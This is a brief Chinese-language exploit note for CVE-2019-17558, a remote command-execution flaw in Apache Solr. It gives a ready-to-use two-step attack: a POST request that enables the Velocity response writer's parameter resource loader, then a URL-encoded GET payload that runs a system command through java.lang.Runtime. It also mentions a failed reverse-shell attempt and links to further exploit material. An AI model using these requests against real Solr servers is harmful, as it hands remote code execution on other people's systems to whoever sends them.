CVE-2019-17558 命令执行漏洞
参考文章里的包有问题!这里提供对的包!
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
这里是get请求,所以用url编码!
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
但是反弹失败了
但是反弹失败了
https://smling.blog.csdn.net/article/details/115705233
https://my.oschina.net/u/4196756/blog/5011317
Apache Solr 漏洞总结
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py